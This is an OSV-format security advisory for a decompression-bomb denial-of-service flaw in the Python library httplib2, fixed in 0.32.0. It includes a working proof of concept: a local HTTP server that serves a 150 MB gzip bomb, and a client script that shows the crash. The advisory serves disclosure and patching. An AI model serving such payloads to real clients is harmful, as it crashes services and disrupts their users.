CVE-2026-59939: httplib2 Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j5g9-f88f-gfj3",
  "modified" : "2026-08-20T21:31:15Z",
  "published" : "2026-07-24T15:15:05Z",
  "aliases" : [ "CVE-2026-59939" ],
  "summary" : "httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling",
  "details" : "### Summary\n\nThe `httplib2` HTTP client library performs unbounded decompression of HTTP response bodies encoded with `Content-Encoding: gzip` or `deflate`. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing `MemoryError` or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.\n\nAny application using `httplib2.Http().request()` against untrusted or attacker-controlled HTTP endpoints is affected.\n\n### Details\n\n**Affected code:** `httplib2/__init__.py` - `_decompressContent()` function\n\nThe decompression path has two unbounded operations:\n\n1. **gzip decompression** (line 394):\n   ```python\n   content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read()\n   ```\n   The `.read()` call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.\n\n2. **deflate decompression** (line 397):\n   ```python\n   content = zlib.decompress(content, zlib.MAX_WBITS)\n   ```\n   Similarly, `zlib.decompress()` returns the fully decompressed content as a single bytes object with no size bound.\n\n3. **Automatic invocation** (line 1431): `_decompressContent()` is called automatically on every HTTP response that includes a `Content-Encoding: gzip` or `deflate` header. The full compressed body is already buffered in memory via `response.read()` before decompression begins.\n\n**Root cause:** There is no `max_decompressed_size`, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server's compressed payload size.\n\n**Attack vector:** Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:\n- `Content-Encoding: gzip` header\n- A small compressed body that decompresses to an arbitrarily large size\n\n### Proof of Concept\n\n**Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP server that serves a gzip decompression bomb.\"\"\"\nimport gzip\nimport http.server\nimport io\nimport socketserver\n\nUNCOMPRESSED_SIZE = 150 * 1024 * 1024  # 150 MB\n\ndef make_payload():\n    \"\"\"Create a gzip payload: ~150 KB compressed -> 150 MB decompressed.\"\"\"\n    buf = io.BytesIO()\n    with gzip.GzipFile(fileobj=buf, mode=\"wb\", compresslevel=9) as gz:\n        chunk = b\"A\" * (1024 * 1024)  # 1 MB of repeating bytes\n        for _ in range(UNCOMPRESSED_SIZE // len(chunk)):\n            gz.write(chunk)\n    return buf.getvalue()\n\nPAYLOAD = make_payload()\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/octet-stream\")\n        self.send_header(\"Content-Encoding\", \"gzip\")\n        self.send_header(\"Content-Length\", str(len(PAYLOAD)))\n        self.end_headers()\n        self.wfile.write(PAYLOAD)\n    def log_message(self, fmt, *args):\n        pass\n\nwith socketserver.TCPServer((\"127.0.0.1\", 8000), Handler) as httpd:\n    print(f\"Bomb server ready: {len(PAYLOAD)} bytes compressed -> \"\n          f\"{UNCOMPRESSED_SIZE} bytes decompressed\")\n    httpd.serve_forever()\n```\n\n**Step 2 - Run the httplib2 client (in a separate terminal):**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Client that demonstrates MemoryError from httplib2 decompression bomb.\"\"\"\nimport resource\nimport httplib2\n\n# Set a 180 MB memory limit to make the crash deterministic\nLIMIT_MB = 180\nlimit = LIMIT_MB * 1024 * 1024\nresource.setrlimit(resource.RLIMIT_AS, (limit, limit))\n\nhttp = httplib2.Http(timeout=5)\ntry:\n    response, content = http.request(\"http://127.0.0.1:8000/\")\n    print(f\"Unexpected success: received {len(content)} bytes\")\nexcept MemoryError:\n    print(f\"MemoryError confirmed: decompression bomb exhausted \"\n          f\"{LIMIT_MB} MB memory limit\")\n    # This is the expected outcome - the 150 KB compressed payload\n    # expanded to 150 MB during decompression, exceeding the limit.\n```\n\n**Expected output (client):**\n```\nMemoryError confirmed: decompression bomb exhausted 180 MB memory limit\n```\n\n**Reproduction metrics:**\n- Compressed payload size: **152,908 bytes** (~150 KB)\n- Decompressed size: **157,286,400 bytes** (150 MB)\n- Amplification ratio: **~1,029x**\n- Client memory limit: 180 MB -> `MemoryError` triggered during `gzip.GzipFile.read()`\n\n### Impact\n\n**Severity: High**\n\nAny application using `httplib2` to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.\n\n| Parameter | Value |\n|---|---|\n| Compressed payload | ~150 KB |\n| Decompressed size | 150 MB (configurable by attacker) |\n| Amplification ratio | ~1,029x |\n| Authentication required | None |\n| User interaction required | None |\n| Prerequisites | Client makes any HTTP request to attacker-controlled server |\n\n**Real-world scenarios:**\n- **Web scrapers/crawlers** that fetch pages from untrusted URLs\n- **API clients** connecting to third-party services\n- **Webhook handlers** that follow redirects to attacker-controlled endpoints\n- **CI/CD pipelines** that download dependencies or artifacts over HTTP\n- **Any MITM attacker** on an unencrypted HTTP connection can inject the compressed payload\n\n**Impact scaling:** The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.\n\n**Downstream exposure:** `httplib2` is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google's API client libraries (`google-api-python-client`, `google-auth-httplib2`), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.\n\n---\n### Credit\n\nFound by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "httplib2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.32.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/httplib2/httplib2/security/advisories/GHSA-j5g9-f88f-gfj3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59939"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/httplib2/httplib2/commit/87581ad6cf752fe3da2090c59058261d2d00a427"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/httplib2/httplib2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/httplib2/httplib2/releases/tag/v0.32.0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/httplib2/PYSEC-2026-3444.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://lists.debian.org/debian-lts-announce/2026/08/msg00039.html"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-409", "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-24T15:15:05Z",
    "nvd_published_at" : "2026-07-08T20:16:59Z"
  }
}